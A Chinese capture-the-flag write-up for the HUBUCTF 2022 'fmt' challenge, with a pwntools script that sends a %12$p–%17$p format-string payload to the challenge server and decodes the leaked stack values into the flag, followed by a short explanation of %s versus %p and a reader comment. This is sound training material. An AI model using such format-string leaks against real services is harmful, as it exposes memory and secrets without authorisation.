Problem: [HUBUCTF 2022 新生赛]fmt
思路
gdb 调试发现flag在%12$p

使用pwntools 写脚本发现一次只能读八位flag,依次递增%n$p发现到17的时候读完
EXP
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
io = remote('node5.anna.nssctf.cn', 29325)
def reverse_two_chars_and_convert(hex_str):
if isinstance(hex_str, bytes):
hex_str = hex_str.decode('utf-8').rstrip("\n")
if len(hex_str) % 2 != 0:
hex_str = '0' + hex_str
grouped = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]
reversed_group = grouped[::-1]
reversed_str = ''.join(reversed_group)
byte_data = bytes.fromhex(reversed_str)
result_str = byte_data.decode('utf-8')
return result_str
payload = b"%12$p%13$p%14$p%15$p%16$p%17$p" # gdb调试发现flag在%12$p,一次读八位
io.sendlineafter(b"service\n",payload)
flag = io.recvline()
flag = flag.split(b'0x')
for i in range(1,7):
print(reverse_two_chars_and_convert(flag[i]),end="")
总结
$s 把将栈上的值当成地址,然后去这个地址这里找字符串。
$p 直接读栈上的值

师傅可以分享一下你的gdb是如何设置的吗?怎么做到给不同的部分指定分区的?
我q:NTI5MzE2OTUw😁